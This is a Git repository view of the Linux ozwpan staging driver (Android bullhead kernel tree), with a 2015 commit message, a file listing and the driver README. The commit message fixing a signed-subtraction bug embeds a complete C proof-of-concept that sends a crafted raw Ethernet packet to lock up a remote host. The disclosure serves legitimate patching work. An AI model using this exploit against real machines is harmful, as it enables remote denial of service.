android_kernel_lge_bullhead/drivers/staging/ozwpan
Jason A. Donenfeld 1c9daa06f9 ozwpan: unchecked signed subtraction leads to DoS
commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
2015-06-22 16:55:54 -07:00
..
Kbuild staging: ozwpan: remove debug allocator 2012-03-02 16:51:09 -08:00
Kconfig staging: ozwpan depends on NET 2012-03-14 12:14:26 -07:00
README staging,ozwpan: Fix typo in comments within staging/ozwpan 2012-04-25 10:59:16 -07:00
TODO staging:ozwpan: Change email address. 2013-01-25 11:23:07 -08:00
ozappif.h staging: ozwpan: Correct ioctl numbers. 2012-06-20 16:05:35 -07:00
ozcdev.c staging: ozwpan: prevent overflow in oz_cdev_write() 2013-11-13 12:05:32 +09:00
ozcdev.h staging/ozwpan: Remove empty and unused function oz_cdev_heartbeat 2013-02-15 15:14:30 -08:00
ozconfig.h staging: ozwpan: remove debug allocator 2012-03-02 16:51:09 -08:00
ozeltbuf.c staging/ozwpan: Fix NULL vs zero in ozeltbuf.c (sparse warning) 2013-02-15 10:23:50 -08:00
ozeltbuf.h staging: ozwpan: Added device state support 2012-02-24 09:26:51 -08:00
ozevent.c staging/ozwpan: Mark local functions as static (fix sparse warnings) 2013-02-15 15:14:30 -08:00
ozevent.h staging: ozwpan: Replace existing event logging mechanism 2012-04-10 09:40:52 -07:00
ozeventdef.h staging: ozwpan: Replace existing event logging mechanism 2012-04-10 09:40:52 -07:00
ozhcd.c staging/ozwpan: Mark read only parameters and structs as const 2013-02-15 15:14:30 -08:00
ozhcd.h staging: ozwpan: Added USB HCD implementation 2012-02-24 09:26:51 -08:00
ozmain.c staging/ozwpan: Mark local functions as static (fix sparse warnings) 2013-02-15 15:14:30 -08:00
ozpd.c staging/ozwpan: Mark read only parameters and structs as const 2013-02-15 15:14:30 -08:00
ozpd.h staging/ozwpan: Mark read only parameters and structs as const 2013-02-15 15:14:30 -08:00
ozproto.c staging/ozwpan: Mark read only parameters and structs as const 2013-02-15 15:14:30 -08:00
ozproto.h staging/ozwpan: Mark read only parameters and structs as const 2013-02-15 15:14:30 -08:00
ozprotocol.h staging: ozwpan: isoc latency for audio burst 2012-08-13 19:17:17 -07:00
oztrace.c staging: ozwpan: Added debug support 2012-02-24 09:26:52 -08:00
oztrace.h staging: ozwpan: Added debug support 2012-02-24 09:26:52 -08:00
ozurbparanoia.c staging: ozwpan: Added debug support 2012-02-24 09:26:52 -08:00
ozurbparanoia.h staging: ozwpan: Added debug support 2012-02-24 09:26:52 -08:00
ozusbif.h staging/ozwpan: Mark read only parameters and structs as const 2013-02-15 15:14:30 -08:00
ozusbsvc.c staging/ozwpan: Fix NULL vs zero in ozusbsvc.c (sparse warning) 2013-02-15 10:25:11 -08:00
ozusbsvc.h staging: ozwpan: Added USB service to protocol 2012-02-24 09:26:51 -08:00
ozusbsvc1.c ozwpan: unchecked signed subtraction leads to DoS 2015-06-22 16:55:54 -07:00

README

OZWPAN USB Host Controller Driver
---------------------------------
This driver is a USB HCD driver that does not have an associated a physical
device but instead uses Wi-Fi to communicate with the wireless peripheral.
The USB requests are converted into a layer 2 network protocol and transmitted
on the network using an ethertype (0x892e) regestered to Ozmo Device Inc.
This driver is compatible with existing wireless devices that use Ozmo Devices
technology.

To operate the driver must be bound to a suitable network interface. This can
be done when the module is loaded (specifying the name of the network interface
as a parameter - e.g. 'insmod ozwpan g_net_dev=go0') or can be bound after
loading using an ioctl call. See the ozappif.h file and the ioctls
OZ_IOCTL_ADD_BINDING and OZ_IOCTL_REMOVE_BINDING.

The devices connect to the host use Wi-Fi Direct so a network card that supports
Wi-Fi direct is required. A recent version (0.8.x or later) version of the
wpa_supplicant can be used to setup the network interface to create a persistent
autonomous group (for older pre-WFD peripherals) or put in a listen state to
allow group negotiation to occur for more recent devices that support WFD.

The protocol used over the network does not directly mimic the USB bus
transactions as this would be rather busy and inefficient. Instead the chapter 9
requests are converted into a request/response pair of messages. (See
ozprotocol.h for data structures used in the protocol).